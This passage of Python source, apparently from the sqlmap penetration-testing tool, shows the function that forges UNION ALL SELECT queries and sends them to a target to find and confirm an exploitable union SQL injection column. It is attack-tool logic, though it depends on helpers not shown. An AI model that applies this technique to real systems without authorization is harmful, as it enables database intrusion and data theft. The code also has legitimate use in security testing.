(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL)
| 212 | return retVal |
| 213 | |
| 214 | def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): |
| 215 | validPayload = None |
| 216 | vector = None |
| 217 | |
| 218 | positions = [_ for _ in xrange(0, count)] |
| 219 | |
| 220 | # Unbiased approach for searching appropriate usable column |
| 221 | random.shuffle(positions) |
| 222 | |
| 223 | for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): |
| 224 | if vector: |
| 225 | break |
| 226 | |
| 227 | # For each column of the table (# of NULL) perform a request using |
| 228 | # the UNION ALL SELECT statement to test it the target URL is |
| 229 | # affected by an exploitable union SQL injection vulnerability |
| 230 | for position in positions: |
| 231 | # Prepare expression with delimiters |
| 232 | randQuery = randomStr(charCount) |
| 233 | phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() |
| 234 | randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) |
| 235 | randQueryUnescaped = unescaper.escape(randQueryProcessed) |
| 236 | |
| 237 | # Forge the union SQL injection request |
| 238 | query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) |
| 239 | payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) |
| 240 | |
| 241 | # Perform the request |
| 242 | page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) |
| 243 | content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() |
| 244 | |
| 245 | if content and phrase in content: |
| 246 | validPayload = payload |
| 247 | kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 |
| 248 | vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) |
| 249 | |
| 250 | if where == PAYLOAD.WHERE.ORIGINAL: |
| 251 | # Prepare expression with delimiters |
| 252 | randQuery2 = randomStr(charCount) |
| 253 | phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() |
| 254 | randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) |
| 255 | randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) |
| 256 | |
| 257 | # Confirm that it is a full union SQL injection |
| 258 | query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) |
| 259 | payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) |
| 260 | |
| 261 | # Perform the request |
| 262 | page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) |
| 263 | content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() |
| 264 | |
| 265 | if not all(_ in content for _ in (phrase, phrase2)): |
| 266 | vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) |
| 267 | elif not kb.unionDuplicates: |
| 268 | fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) |
| 269 | |
| 270 | # Check for limited row output |
| 271 | query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) |
no test coverage detected
searching dependent graphs…